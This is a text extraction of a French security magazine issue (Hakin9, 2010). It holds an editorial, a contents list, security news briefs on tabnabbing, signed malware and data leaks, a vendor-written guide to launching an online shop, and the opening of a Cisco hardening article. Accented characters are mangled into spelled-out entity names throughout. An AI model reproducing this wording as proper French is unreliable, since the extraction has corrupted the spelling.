e-comerce lancez votre boutique online hakin9!06!2010 fr

50

Upload: knarf-loir

Post on 28-Jun-2015

207 views

Category:

Documents


3 download

TRANSCRIPT

Page 1: E-Comerce Lancez Votre Boutique Online Hakin9!06!2010 FR

LE SPEacuteCIALISTE DE LA

Faire de vos succegravesnotre reacuteussite

ANVERS LIEGE PARIS LYON LILLE AIX-EN-PROVENCE STRASBOURG RENNES BRUXELLES

TOULOUSE BORDEAUX GENEVE LAUSANNE ZURICH

wwwegiliacom

FORMATION CERTIFIANTEEN INFORMATIQUE

ET MANAGEMENT

reg

L E A R N I N G

0 800 800 900CONTACTEZ NOS CONSEILLERS FORMATION

APPEL GRATUIT DEPUIS UN POSTE FIXE

PLEINE-PAGE-210-297indd 1 23092009 123036

3 HAKIN9 32010

Boutiques onlineEcirctre compeacutetitif sur le WEB et faire face agrave la concurrence

de plus en plus feacuteroce reacutelegravevent parfois drsquoun parcours du combattant Pour vous donner plus de chances drsquoexister sur Internet nous avons preacutepareacute un dossier speacutecial sur lrsquoE-commerce Gracircce agrave lui vous apprendrez agrave creacuteer votre boutique online Lrsquoarticle est plein de conseils pour eacuteviter les piegraveges lors de la creacuteation drsquoun E-commerce

Dans la rubrique Seacutecuriteacute Reacuteseaux gracircce agrave lrsquoarticle Chiffrement des mails de David Robin vous apprendrez agrave chiffrer et signer les mails et fichiers Vous verrez aussi comment le chiffrement et la signature fonctionnement dans un client de messagerie

La rubrique Pratique est consacreacutee agrave la seacutecuriteacute des produits et plates-formes Cisco Apregraves la lecture de lrsquoarticle Seacutecuriteacute CISCO vous connaicirctrez les meacutecanismes de deacutefense efficace agrave mettre en place afin de seacutecuriser les plates-formes Cisco contre les attques Lrsquoauteur de lrsquoarticle vous expliquera aussi lrsquoarchitecture des commutateurs Cisco

Deacuteouvrez lrsquoarticle Les attaques DNS de la section Attaque Lrsquoauteur de lrsquoarticle vous expliquera le principe des attaques possibles sur le protocole DNS et il vous donnera les moyens drsquoeacuteviter tout risque

Bonne lecture agrave tous

Lrsquoeacutequipe Hakin9

EacuteDITORIAL

Le mensuel hakin9 est publieacute par Software Press Sp z o o SK

Preacutesident de Software Press Sp z o o SK Paweł Marciniak Directrice de la publication Ewa LozowickaReacutedactrice en chef Aneta Mazuranetamazurhakin9orgFabrication Andrzej Kucaandrzejkucasoftwarecompl

DTP Przemysław BanasiewiczCouverture Agnieszka Marchocka

Publiciteacute publicitesoftwarecompl(c) 2009 Software Press Sp z o o SK tous les droits reacuteserveacutes

Beacuteta-testeurs Didier Sicchia Pierre Louvet Anthony Marchetti Reacutegis Senet Paul Amar Julien Smyczynski Gregory Vernon Latorre Christophe Timoteacutee Neullas

Les personnes inteacuteresseacutees par la coopeacuteration sont inviteacutees agrave nous contacter frhakin9org

Adresse de correspondance Software Press Sp z o o SKBokserska 1 02-682 Varsovie PologneTeacutel +48 22 427 32 87 Fax +48 22 244 24 59wwwhakin9org

AVERTISSEMENTLes techniques preacutesenteacutees dans les articles ne peuvent ecirctre utiliseacutees qursquoau sein des reacuteseaux internes

La reacutedaction du magazine nrsquoest pas responsable de lrsquoutilisation incorrecte des techniques preacutesenteacutees

Lrsquoutilisation des techniques preacutesenteacutees peut provoquer la perte des donneacutees

TABLE DES MATIERES

Actualiteacutes 6Rubrique tenue par Paul Amar

DOSSIER Boutiques online 8Store FactoryLe nombre de boutiques en ligne augmente chaque jour La boutique en ligne est un moyen simple de deacute-marrer une activiteacute eacutegalement rapide et tendance Ce-pendant toute la difficulteacute sera de la rentabiliser et de la maintenir sur la toile Cet article vous expliquera com-ment lancer sa premiegravere boutique online et comment eacuteviter les piegraveges

PRATIQUESeacutecuriteacute CISCO 12Alaeddine MesbahiCisco propose une varieacuteteacute tregraves importante de produ-its et plates-formes Le nombre de services utiliseacutes et protocoles impleacutementeacutes peut transformer la plate-for-me en cible facile Cisco propose alors plusieurs meacute-canismes de durcissement Cet article expliquers les meacutecanismes les plus communs pour les seacutecuriser les plates-formes Cisco

SeacuteCURITeacute ReacuteSEAUxFirewall sous Linux 20Nicolas HantevilleMaintenant que la plupart des machines sont relieacutees entre elles dans le monde via Internet les probleacutemati-ques de seacutecuriteacute se font grandissantes Apregraves lrsquoimpact des PC-Zombies ou les intrusions via des vers telles que my-tob ou saccer la question du pare-feu ne se po-se plus Nous allons voir ensemble le fonctionnement drsquoiptables sous Linux en commenccedilant par les bonnes pratiques pour finir sur laseacutecurisation drsquoune machine connecteacutee agrave Internet

Chiffrement des mails 28Robin DavidCet article preacutesente le fonctionnement du chiffrement et de la signature des mails On srsquointeacuteresse donc ici au chiffrement du contenu des mails et des piegraveces jointes via lrsquoutilisation des deux grandes technologies du do-maine PGP et SMIME

62010

62010

ATTAQUELes attaques DNS 40David RobinCet article permettra de srsquointeacuteresser aux diffeacuterentes at-taques exploitables sur le protocole DNS dont deux principales techniques fondeacutees sur le DNS Spo-ofing agrave savoir le DNS ID Spoofing et le DNS Cache Poisoning Nous nous inteacuteresserons ensuite au ldquoDNS Pharmingrdquo qui est un deacuteriveacute du Phishing

FOCUSExploit ndash Local root FreeBsD via LD_PRELoAD 46Paul RascagnegraveresFreeBSD est souvent preacutesenteacute comme un OS agrave la seacute-curiteacute robuste Malgreacute cette reacuteputation un exploit a eacuteteacute divulgueacute fin novembre sur la mailing list Full Disclosu-re par Kingcope Dans cet article nous allons eacutetudier le fonctionnement de cet exploit le patch proposeacute par lrsquoeacutequipe de mainteneur FreeBSD tout en commenccedilant par comprendre a quoi sert LD_PRELOAD

ltltNUMER_WYDANIAgtgt

ACTUALITEacuteS

Google et la confidentialiteacute Apregraves la poleacutemique autour de Google et des informa-tions reacutecupeacutereacutees agrave la laquo voleacutee raquo la CNIL a lanceacute une eacutetude portant sur la mise en danger des donneacutees des usagers

Lrsquoideacutee de base de Google eacutetait drsquoenregistrer lrsquoidentiteacute et la position des hotspots Wi-Fi

Lrsquoanalyse a deacutemontreacute que le logiciel utiliseacute enregi-strait bien plus que des fragments il enregistrait des paquets entiers desquels pouvaient ecirctre extraites des donneacutees sensibles telles que les adresses mails mots de passe etc

Drsquoautres Eacutetats comme lrsquoEspagne ou lrsquoAllemagne ont aussi demandeacute agrave Google agrave acceacuteder aux donneacutees cap-tureacutees par cette entreprise mais crsquoest la CNIL qui a eacuteteacute la premiegravere agrave voir sa requecircte accepteacutee

Apple et les vulneacuterabiliteacutes Le lundi 21 juin aura eacuteteacute une journeacutee laquo noire raquo pour Ap-ple eacutetant donneacute que son upgrade agrave iOS 4 a permis de patcher 65 vulneacuterabiliteacutes La moitieacute drsquoentre elles eacutetaient critiques drsquoapregraves les speacutecialistes

Certains doutent que le nouvel iPad pourrait ecirctre vul-neacuterable agrave une ou plusieurs des failles patcheacutees sur les iPhonesiPod Touch

De plus les utilisateurs drsquoiPad nrsquoauront pas de patchs avant cet automne permettant de couvrir certaines vul-neacuterabiliteacutes Un tregraves gros vecteur drsquoattaques risque donc drsquoecirctre ouvert aux pirates

Ce nombre de vulneacuterabiliteacutes est donc un nouveau re-cord compareacute aux patchs des 46 failles de lrsquoeacuteteacute der-nier

IOS 4 comportait 35 bugs soit plus de la moitieacute des vulneacuterabiliteacutes trouveacutees et qui eacutetaient de type laquo arbitra-ry code execution raquo donc critiques

La prudence est au rendez-vous pour tous les utilisa-teurs de produits Apple tels que lrsquoiPad

Le fait drsquoecirctre signeacute est-ce suffisant Une eacutetude de Jarno Niemela a montreacute que les auteurs de malwares utilisent la technologie drsquoAuthenticode pour les faire passer pour de bons logiciels

Cette derniegravere est utiliseacutee pour signer du code assu-rer son authenticiteacute et son inteacutegriteacute

De nombreux anti-virus srsquoappuient sur ce systegraveme qui malheureusement apregraves certaines deacutecouvertes nrsquoest pas si sucircr

De nombreuses techniques permettent laquo drsquoabuser raquo de la confiance des Authenticode telles que

ecirctre certifieacute mais ne pas avoir des bonnes inten-tions voler des certificats infecter des systegravemes de deacuteveloppeurs et ecirctre signeacute dans les releases (infec-tion de masse) falsification du MD5 (deux binaires ayant le mecircme checksum mais pas les mecircmes acti-viteacutes) etc

Turquie une attaque drsquoenvergureUne vague de censure en Turquie est arriveacutee il y a que-lques temps bloquant de nombreux services de Go-ogle tels que Google Traduction Google Documents ou encore Google Livres Il srsquoagit lagrave drsquoune conseacutequence de la volonteacute des Fournisseurs drsquoaccegraves internet Turqu-es de bloquer certaines adresses IP affilieacutees agrave Youtu-be

De nombreuses autres adresses IP relatives agrave Youtu-be et aux services de Google ont eacuteteacute blacklisteacutees Pro-gressivement de nombreux internautes se sont pla-ints que de nombreux services tels que Picasa Google Maps ne fonctionnaient plus

Degraves lors une attaque DdoS drsquoenvergure a eacuteteacute lanceacutee contre le ministegravere du transport lrsquoAutoriteacute des techno-logies de lrsquoinformation et des communications et contre la preacutesidence des teacuteleacutecommunications

Ces trois sites web ont eacuteteacute inaccessibles une bonne partie de la journeacutee agrave cause drsquoun groupe drsquohacktivistes meacutecontents de cette censure Drsquoapregraves de nombreuses sources lrsquoattaque aurait dureacute 10 heures

Et si un VPN ne nous permettait plus drsquoecirctre anonyme Au cours de la premiegravere laquo Telecomix Cyphernetics As-sembly raquo qui a eu lieu en Suegravede une vulneacuterabiliteacute au sein des VPNs a eacuteteacute preacutesenteacutee Le fait de combiner Ipv6 (qui remplace progressivement Ipv4) ainsi que PPTP (point-to-point tunneling protocol) permettent de retrou-ver des informations comme par exemple lrsquoadresse IP lrsquoadresse MAC ou encore le nom de lrsquoordinateur drsquoun utilisateur en particulier

Cette information est donc des plus critiques puis-que lrsquoune des utilisations des VPN consiste agrave favori-ser lrsquoanonymat et ainsi assurer la confidentialiteacute de ses donneacutees personnelles

De nombreuses alternatives ont eacuteteacute deacutecrites comme par exemple le fait de repasser agrave IPv4 ou de favoriser lrsquoutilisation drsquoOpenVPN plutocirct que PPTP

Fuite de donneacutees pour les utilisateurs de lrsquoiPad Il y a quelques semaines une nouvelle faisait rage de nombreuses informations confidentielles concernant des utilisateurs drsquoiPad ont eacuteteacute reacutecupeacutereacutees par un grou-pe deacutenommeacute laquo Goatse Security raquo

Crsquoest environ 114 000 adresses qui ont eacuteteacute reacutecupeacute-reacutees avec entre autres de grosses pointures telles que le CEO du New York Times Dow Jones Times inc hellip

Le problegraveme se situait sur le site de ATampT qui a per-mis via le changement drsquoun certain paramegravetre de reacute-cupeacuterer toutes ces informations Degraves lors il aurait eacuteteacute possible de lancer des vagues de spams agrave lrsquoencontre de ces personnes ou encore essayer drsquoinfecter leurs

ltltSTRONA_PISMAgtgt

ACTUALITEacuteS

propres infrastructures Ce dernier point nrsquoest en aucun cas agrave neacutegliger car nous sommes dans la peacuteriode ougrave lrsquoespionnage industriel est drsquoactualiteacute

Absolute Manage une vraie catastropheIl y a quelques temps un scandale avait eacuteclateacute avec un logiciel drsquoadministration agrave distance sur les ordinateurs drsquoeacutelegraveves en Pennsylvanie lequel permettait de prendre des photos drsquoeacutetudiants agrave leur insu bien que cela nrsquoaurait jamais ducirc ecirctre reacutealiseacute

Des compagnies de seacutecuriteacute ont ainsi analyseacute le logiciel et ont deacutemontreacute qursquoil y avait de nombreux problegravemes de seacutecuriteacute comme deacutechiffrement des communications gracircce agrave une cleacute hardcodeacutee dans le programme et semblable pour tous les clients con-tournement de lrsquoauthentification de lrsquoenvoi de messa-ges

Ouverture de Norton DNS au publicNorton DNS est comme son nom lrsquoindique un servi-ce de DNS public permettant de seacutecuriser tout appareil connecteacute sur la toile

Il comporte une blacklist avec tous les sites ayant une activiteacute plus ou moins accrue avec les malwares phis-

hing permettant ainsi de preacutemunir lrsquousager contre un quelconque risque sur la toile

Degraves lors lorsqursquoun internaute essaie drsquoacceacuteder agrave un site malicieux ce dernier est redirigeacute vers un site drsquoavertissement de Norton en expliquant que le site est bloqueacute par Norton DNS

Je tiens agrave rappeler que son utilisation ne peut ecirctre uti-liseacutee que comme une laquo sur-couche raquo de protection et ne preacutemunise pas contre tous les risques preacutesents sur la toile

Le tabnabbing une nouvelle meacutethode de phishing en vogueCette technique a eacuteteacute expliqueacutee et reacutealiseacutee par Aza Raskin Le principe est de changer le contenu lorsque lrsquoutilisateur a le laquo dos tourneacute raquo ou encore quand il chan-ge drsquoonglet dans son navigateur

Dans la pratique lorsque la page qui a un aspect normal nrsquoest plus consulteacutee elle aura son laquo favicon raquo et son titre modifieacutes pour ressembler au site viseacute Degraves lors lrsquointernaute pensera alors qursquoil a laisseacute ouverte sa messagerie eacutelectronique ou son site de e-commerce ouvert

Il est donc pieacutegeacute et sera pris au jeu du pirate Lrsquoun des correctifs proposeacute par Aza Raskin est que le navigateur doit jouer un rocircle plus important que celui de fureteur basique il doit proteacuteger la confidentialiteacute des donneacutees utilisateur

Metasploitable une vraie reacuteussite pour chacun Tout le monde a tregraves certainement entendu parleacute de Me-tasploit qui est un framework utiliseacute par de nombreuses compagnies afin de reacutealiser des tests drsquointrusion sur des technologies cibleacutees La base de donneacutees drsquoexploits ou-tils en tout genre est colossale et est un outil agrave part entiegravere dans lrsquoaudit de seacutecuriteacute Metasploitable est donc une image Vmware qui nrsquoest autre qursquoune version drsquoUbuntu 804 comportant des services faillibles Le but du jeu est donc de monter lrsquoimage sur son ordinateur et ainsi de srsquoentrainer afin drsquoutiliser le framework Metasploitable

Crsquoest donc un bon entraicircnement pour comprendre le fonctionnement du framework mais aussi avoir une ideacutee de ce qursquoest le pentesting tout en ne nuisant pas aux infrastructures informatiques existantes

Nouvelle version drsquoHydraTout en restant dans les outils drsquoaudit en seacutecuriteacute il ne faut pas oublier la nouvelle version drsquoHydra

Hydra est un cracker de mots de passe supportant de nombreux protocoles tels que VNC POSTGRES IMAP hellip La liste des protocoles geacutereacutes par Hydra est surpre-nante Cet outil a eacuteteacute deacuteveloppeacute par une organisation du nom laquo The Hackerrsquos Choice raquo (THC) et est maintenant passeacute sous licence GPL v3

62010

Dossier

Avantages et inconveacutenients du e-commerceLe E-commerce comporte les mecircmes avantages qursquoin-ternet crsquoest-agrave-dire lrsquoaccegraves agrave un large public la rapi-diteacute drsquoexeacutecution lrsquoaccegraves 24h24 7j7hellip Mais en plus il permet de geacuteneacuterer une activiteacute et des revenus Fa-cile drsquoaccegraves avoir une boutique en ligne permet de deacute-velopper ses ventes avec un investissement maicirctriseacute et sans les droits drsquoentreacutee drsquoune boutique physique Lrsquoheacutebergement consideacutereacute comme le loyer est acces-sible agrave tous sans garantie demandeacutee De nombreu-ses options sont disponibles pour mettre en place son e-commerce payantes ou gratuites Des solutions de paiement en ligne permettent de geacuteneacuterer des ventes sans papier et agrave des coucircts minimes Bref le e-com-merce ressemble agrave une formidable opportuniteacute ouver-te agrave chacun

Cependant si la plus grande qualiteacute du e-commerce est son accessibiliteacute crsquoest aussi ce qui creacutee son plus grand deacutefaut Lrsquoabondance de boutiques en ligne fait drsquointernet le marcheacute le plus concurrentiel Alors que pour une boutique physique le choix de lrsquoemplacement est deacutecideacute une fois pour toutes sur la toile la place de la boutique change en permanence Personne nrsquoa de place assureacutee

Quelques remarques sur les bonnes questions agrave se poser pour le lancement drsquoune boutique en ligne

Avoir bien reacutefleacutechi agrave son offre commerciale une bou-tique en ligne est avant tout un commerce Mecircme si In-

ternet facilite le lancement drsquoune activiteacute il est important drsquoavoir un bon concept commercial et une offre produitservice attractive pour assurer la viabiliteacute du site Lrsquoob-jectif est de transformer en acheteur le visiteur sur votre site Au-delagrave du site en lui-mecircme ce sont les produitsservices les prix les offres qui feront la diffeacuterence

Rendre sa boutique unique parmi les milliers de bou-tiques en ligne lrsquointernaute doit reconnaicirctre votre bou-tique du premier coup drsquoœil Une boutique en ligne est toujours faite sur le mecircme principe de fiche produit liste produit menu Il est donc important de se diffeacuterencier par lrsquoaspect visuel Le graphisme de votre site montrera tout de suite au visiteur dans quelle ambiance etou ty-pe de magasin il se trouve comme pour une boutique physique Un internaute restera plus longtemps et sera plus curieux sur un site qursquoil appreacutecie graphiquement Il y reviendra aussi et il le retiendra Notons quelques freins graphiques sur une boutique comme lrsquoabondance de banniegraveres susceptible de surcharger la page drsquoac-cueil tout comme lexcegraves danimations En outre une page tunnel qui annonce le site avant drsquoy entrer vrai-ment fait parfois son effet agrave la premiegravere visite mais au bout de plusieurs aura tendance agrave lasser lrsquointernaute Toujours dans lrsquoambiance geacuteneacuterale du site la musique risque de freiner le visiteur (manque de discreacutetion re-dondance agrave chaque nouvelle page bouton STOP invi-siblehellip) Tous ces critegraveres deacutependent de votre projet et de lrsquoimage que vous souhaitez veacutehiculer Lrsquoidentiteacute vi-suelle est dans tous les cas un critegravere primordial pour se diffeacuterencier

Boutiques online

Le nombre de boutiques en ligne augmente chaque jour A travers cet article vous allez apprendre comment lancer sa boutique online

Cet article expliquebull avantages et inconveacutenients du E-commercebull comment lancer sa boutique onlinebull solutions e-commerce

Ce quil faut savoirbull Aucune connaissance nest requise

store Factory

Boutiques online

hakin9orgfr 9

deuxiegraveme temps il srsquoagit de suivre vos ventes les produits les plus et les moins vendus etchellip pour affi-ner votre offre Drsquoailleurs rester attentif au prix de la concurrence est essentiel pour rester dans la course sur internet

Les fonctionnaliteacutes le but premier dune boutique en ligne est de permettre aux internautes drsquoacheter vos produits Maintenant dans votre projet il faut deacute-finir tout ce que vous souhaitez proposer sur votre si-te Cela peut concerner lrsquooffre commerciale avec des fonctions de fideacutelisation de recommandation produit entre ami de produits associeacuteshellip Mais aussi des fonc-tionnaliteacutes plus techniques comme proposer une re-cherche avanceacutee de votre produit ou lrsquoaffichage du panier Il nrsquoy a pas de recettes magiques ni de fonc-tionnaliteacutes miracles pour geacuteneacuterer des ventes si ce nrsquoest de bien reacutefleacutechir agrave lrsquoadeacutequation entre votre offre produit et les fonctionnaliteacutes disponibles Par exemple une recherche avanceacutee sera pertinente pour un mar-chand drsquoampoules (en termes de tailles puissances formeshellip) mais pas forceacutement pour une eacutepicerie en ligne ougrave des cateacutegories bien faites seront suffisantes De mecircme qursquoune offre de fideacuteliteacute aura plus de sens sur une boutique de pueacutericulture que pour un concession-naire automobile

Lrsquoabandon du panier un des problegravemes du e-com-merce est la gestion de lrsquoabandon du panier Combien drsquointernautes simulent un achat sur une boutique en ligne mais ne procegravede pas au paiement Pour livrer les clients le commerccedilant a besoin drsquoun certain nom-bre drsquoinformations pour la facture et la livraison Plu-sieurs scheacutemas fonctionnent mais la tendance est de raccourcir les eacutetapes de validation de paiement Geacute-neacuteralement le processus de commande se deacuteroule en 5 eacutetapes validation du panier creacuteation drsquoun compte client entreacutee des informations personnelles entreacutee des informations de livraisons et paiement Ce pro-cessus se reacutepegravete agrave chaque boutique Lrsquointernaute veut que ce soit le plus simple possible De plus plus vite il atteindra la page de paiement moins il aura le loisir de penser agrave abandonner sa commande Agrave lexception de lrsquooptimisation de ce chemin de commande il exis-te des moyens drsquoidentification rapides tels OrangeID ou OpenID qui permettent via un identifiant geacuteneacuteral de remplir par deacutefaut les informations clients Ceci deacute-gage lrsquointernaute de la saisie reacutepeacutetitive de ces infor-mations et il accegravede plus vite au paiement Une autre astuce pour traiter ces abandons de panier est tout simplement de les repeacuterer et de pouvoir leur renvoyer un e-mail de relance agrave partir du moment ougrave le client potentiel a indiqueacute ses coordonneacutees

Les choix de paiement le moyen de paiement est indissociable de la boutique en ligne Derniegravere eacuteta-pe de la commande le commerccedilant propose agrave lrsquoin-ternaute les moyens de paiement qursquoil souhaite De nombreuses solutions de paiement sont accessibles

Le reacutefeacuterencement crsquoest le point primordial pour exister sur internet Creacuteer un site est simple le fai-re connaicirctre beaucoup moins Le reacutefeacuterencement pas-se par plusieurs canaux certains gratuits drsquoautres payants mais le but reste le mecircme ecirctre vu par le maximum drsquointernautes Les outils payants de reacutefeacuteren-cement le plus connu eacutetant Google Adwords permet-tent drsquoapparaicirctre en bonne position plus rapidement mais leurs coucircts sont parfois importants surtout au deacutepart Cela vous permet drsquoecirctre afficheacute dans les liens commerciaux en haut ou sur le cocircteacute des pages de re-cherches sur les expressions que vous avez choisies Le reacutefeacuterencement naturel est au contraire un travail de longue haleine dont le coucirct principal sera le temps que vous passerez agrave optimiser votre site Des contraintes techniques sont dans un premier temps neacutecessaires pour rendre votre boutique en ligne laquo Google friendly raquo comme le code des pages en XHTML le respect des normes internationales W3C la reacuteeacutecriture drsquourl ou en-core la soumission reacuteguliegravere du sitemap agrave lrsquoattention des moteurs de recherche Ensuite tout le travail se situe dans le texte de votre site Les moteurs de re-cherches indexent les sites sur des expressions don-neacutees si elles sont preacutesentes et reacutecurrentes dans le si-te et agrave des endroits importants comme les titres Vous pouvez eacutegalement deacutevelopper un systegraveme de liens entre votre boutique et drsquoautres sites pour renforcer la creacutedibiliteacute de votre boutique toujours pour les mo-teurs de recherche Crsquoest un travail de fourmi qui plus est reacutecurrent puisque la vie drsquoun site est aussi un cri-tegravere pour ameacuteliorer le reacutefeacuterencement Crsquoest la partie la plus difficile drsquoun site de e-commerce car la place drsquoune boutique dans les pages de recherches bouge en permanence Mais avoir un site ne suffit pas agrave geacute-neacuterer des ventes

La navigation lrsquointernaute doit pouvoir naviguer dans votre boutique de maniegravere intuitive et claire De nombreux choix sont agrave faire tels que la place du ou des menus les diffeacuterentes cateacutegories sous-cateacutego-ries si neacutecessaire Le but de la navigation est que lrsquoin-ternaute voit votre offre mais surtout qursquoil puisse ac-ceacuteder sans difficulteacute agrave ce qursquoil cherche Faciliter son chemin eacutevite les risques de sorties intempestives de la boutique

Le suivi du site certaines donneacutees sont essen-tielles pour la viabiliteacute drsquoun site Avec une boutique en ligne hormis les commandes que vous recevez peu drsquoinformations sont accessibles sur le parcours de lrsquointernaute Cependant ces informations sont in-dispensables pour ameacuteliorer votre boutique Il srsquoagit en premier lieu du trafic geacuteneacutereacute en termes de visi-tes mais il est eacutegalement important de connaicirctre les sources de trafic les pages vues le temps passeacute sur le site les pages de sortieshellip Ce sont des indices sur la qualiteacute de votre site qui vous aident agrave ameacuteliorer la reacutetention des internautes sur votre site Dans un

6201010

Dossier

des plus traditionnels comme le chegraveque (avec une politique de processus de commande claire ordre et adresse pour le chegraveque deacutelai de livraison apregraves reacuteception) au plus laquo web raquo comme les solutions de paiement en ligne la plus connue eacutetant PayPal Pour les banques et le paiement par carte bancaire le principe est le mecircme il y a les moyens traditionnels crsquoest-agrave-dire lrsquoagence ougrave le commerccedilant a son compte professionnel et les laquo web raquo qui proposent des so-lutions de paiement exclusivement en ligne comme Ogone ou Moneybookers Le choix des moyens de paiement proposeacutes est une question de coucircts plus ou moins importants selon le moyen et le volume de transaction mais aussi une question dassurance de lrsquointernaute afin qursquoil nrsquoait aucune crainte agrave payer en ligne

Les piegraveges agrave eacuteviterLe principal piegravege agrave eacuteviter est de croire qursquoune fois la boutique construite lrsquoactiviteacute du commerccedilant en ligne est lanceacutee et que des ventes seront geacuteneacutereacutees La creacutea-tion de la boutique nrsquoest que la partie eacutemergeacutee de lrsquoice-berg Une fois la boutique faite il faut la faire connaicirc-tre et la faire vivre Cela passe par la communication (reacutefeacuterencement publiciteacute bouche-agrave-oreille) mais aus-si par la gestion (traiter les commandes les appels clients les reacuteclamations) et la mise agrave jour de la bou-tique (ajouter les nouveaux produits geacuterer les stocks faire des offres commerciales) Une boutique en ligne demande plusieurs heures drsquoinvestissement quotidien Dans un premier temps le plus gros investissement en temps sera mis dans la communication de la bouti-que pour geacuteneacuterer du trafic et attirer des clients poten-tiels Remarquons que ce peut ecirctre aussi un investis-sement financier si le reacutefeacuterencement payant est choisi Une fois la boutique reacuteellement lanceacutee le traitement de commandes et des contacts clients prendra la ma-jeure partie du temps sans pour autant neacutegliger de faire vivre la boutique pour qursquoelle soit toujours connue et attractive

Un autre piegravege agrave eacuteviter est de croire que la creacutea-tion drsquoune boutique en ligne coucircte cher Les offres sont varieacutees et tout deacutepend du projet du commerccedilant Un commerccedilant deacutebutant ou dont la boutique en ligne nrsquoest qursquoun agrave-cocircteacute drsquoune boutique physique srsquoen sortira tregraves bien avec une solution standardiseacutee Si le com-merccedilant veut quelque chose de plus personnaliseacutee le coucirct deacutependra de ses besoins Le projet doit dans un premier temps ecirctre clairement eacutetabli pour choisir la so-lution la plus adapteacutee Il faut donc passer du temps pour construire son projet avant de chercher un pres-tataire pour creacuteer sa boutique Beaucoup de commer-ccedilants cherchent eacutegalement agrave imiter de grands sites reconnus avec des fonctionnaliteacutes avanceacutees comme des offres de fideacuteliteacutes complexes par exemple Ce-pendant pour le lancement drsquoune boutique en ligne

le premier point est de geacuteneacuterer des ventes Il ne faut pas brucircler les eacutetapes Avant de penser agrave fideacuteliser les clients ou avoir un site high-tech il faut que celui-ci soit viable

Les solutions e-commercesPlusieurs possibiliteacutes sont disponibles pour monter son e-commerce des plus standard aux plus personnalisa-bles des plus accessibles aux plus chegraveres

bull Les solutions Open Source ce sont des briques lo-giciels toutes faites disponibles gratuitement sur la toile Cependant il faut srsquoy connaicirctre un minimum en informatique pour dans un premier temps im-pleacutementer la boutique puis lrsquoameacuteliorer ajouter des briques fonctionnelles comme le paiement en ligne De plus si cette solution est en apparence gratuite vous aurez besoin au minimum drsquoun heacutebergement et drsquoun nom de domaine ce qui geacutenegraverera des coucircts variables Crsquoest donc une solution pour les informa-ticiens deacutejagrave aguerris qui deacutesirent mettre les mains dans le cambouis

bull Les logiciels payants moyennant un coucirct fixe drsquoachat ces logiciels vous permettent drsquoavoir une boutique en ligne rapidement Il vous faudra neacuteanmoins vous acquitter des coucircts drsquoheacuteberge-ment et de nom de domaine en suppleacutements Ces logiciels ont lrsquoavantage de vous fournir une inter-face plus ludique pour la gestion de votre bouti-que en ligne Pour les novices quelques explica-tions seront neacutecessaires au deacutemarrage mais crsquoest une solution qui permet drsquoavoir sa boutique sans trop besoin de connaissances techniques Les in-conveacutenients sont geacuteneacuteralement le coucirct drsquoachat de la licence assez eacuteleveacutee et lrsquoeacutevolution du lo-giciel quasi nulle ou moyennant lrsquoachat de mises agrave jour Votre boutique dispose drsquoun certain nom-bre de fonctionnaliteacutes au moment de lrsquoachat et el-les ne varieront pas au cours de la vie votre site Pourtant Internet apporte tous les jours des nou-veauteacutes en termes techniques mais aussi drsquousa-ge Cette solution peut donc ecirctre limiteacutee dans le temps

bull La solution faite par un ami souvent de futurs commerccedilants en ligne disent qursquoils demanderont agrave un ami informaticien de creacuteer leur boutique Sans tenir compte des difficulteacutes possibles de travailler avec des proches le e-commerce est un meacutetier agrave part entiegravere avec ses speacutecificiteacutes techniques Il srsquoagit de mettre en place plusieurs briques fonc-tionnelles comme par exemple le paiement en li-gne ce qui peut srsquoaveacuterer compliquer pour quel-qursquoun drsquoexteacuterieur au e-commerce Cette solution peut-ecirctre gratuite risque drsquoecirctre longue et hasar-deuse agrave moins drsquoavoir lrsquoami qui a deacutejagrave creacuteeacute des boutiques en ligne

hakin9orgfr 11

bull Les webagency certaines vous deacuteveloppent une boutique en ligne de A agrave Z selon vos exigences drsquoautres travaillent avec des prestataires techniques ou des logiciels payants auxquels ils sont habitueacutes Les webagency proposent souvent une prestation de boutique en ligne personnaliseacutee sur devis dont les coucircts sont eacuteleveacutes et variables selon votre projet Elles ajoutent eacutegalement des prestations annexes comme la creacuteation drsquoun design et dune animation ou la gestion des contenus du site Crsquoest donc une solution sur mesure qui peut convenir agrave ceux qui en ont les moyens

bull Les logiciels en mode locatifs ce sont des solu-tions payantes mais souvent plus accessibles que lrsquoachat de logiciel ou les webagency Cependant la grosse diffeacuterence avec toutes les autres solutions est que le commerccedilant nrsquoest pas proprieacutetaire de la solution technique de la boutique en ligne Cette solution est neacuteanmoins un systegraveme accessible et rapide pour lancer sa boutique en ligne De nom-breux acteurs sont preacutesents sur le marcheacute avec un panel drsquooffres tregraves varieacutees en termes de prix et de fonctionnaliteacutes Tout deacutepend du projet du commer-ccedilant crsquoest agrave lui de choisir sa formule Les bouti-ques sont standardiseacutees drsquoun point de vue techni-que avec en geacuteneacuteral un back-office drsquoadministra-tion ludique pour que le commerccedilant gegravere seul sa boutique et une assistance technique Lrsquoheacuteberge-ment est inclus dans les packs Des prestations de design suppleacutementaires permettent de personnali-ser la boutique en ligne Le mode locatif preacutesente lrsquoavantage de beacuteneacuteficier drsquoun suivi dans le temps sur le plan technique que ce soit dans la vie de la boutique mais aussi en fournissant des mises agrave jour reacuteguliegraveres

ConclusionLrsquooffre de solutions pour creacuteer sa boutique en ligne est large et varieacutee Creacuteer son site de e-commerce nrsquoest plus un problegraveme en soi Cependant avoir une boutique ne suffit pas pour exister sur la toile Le commerccedilant doit y consacrer du temps la faire connaicirctre et la faire vi-vre Crsquoest aujourdrsquohui le plus grand deacutefi de tout nouveau commerccedilant en ligne Il faut savoir se deacutemarquer de la masse de sites sur internet

A propos De LrsquoAuteurStore-Factory propose une offre professionnelle complegravete si-te professionnel outils drsquoadministration complets et eacutevolutifs reacutefeacuterencement optimiseacute outils marketing formation et sup-port teacuteleacutephonique illimiteacute Les sites Store-Factory beacuteneacuteficient drsquoune charte graphique creacuteeacutee sur mesure

6201012

Pratique

Les routeurs et commutateurs sont disponibles en diffeacuterentes tailles allant des petites boicirctes de bu-reau aux grands routeurs dopeacuterateur occupant

un rack complet de 19 poucesCisco diffeacuterencie quatre types de trafic le Data Plane

le Control Plane le Management Plane et le Service Plane

Le Data Plane est tout simplement le trafic client agrave transporter par exemple du trafic geacuteneacutereacute par les ser-veurs et les postes de bureautique

Le Control Plane est le trafic neacutecessaire pour creacuteer et maintenir les renseignements sur leacutetat du reacuteseau com-me les annonces BGP et OSPF

Le Management Plane est le trafic utiliseacute pour acceacute-der geacuterer et surveiller les plates-formes agrave limage du SSH et SNMP

Le Service Plane fait reacutefeacuterence aux diffeacuterents services proposeacutes pour les plates-formes par exemple des tun-nels VPN la translation dadresses ou les systegravemes de deacutetection dintrusions

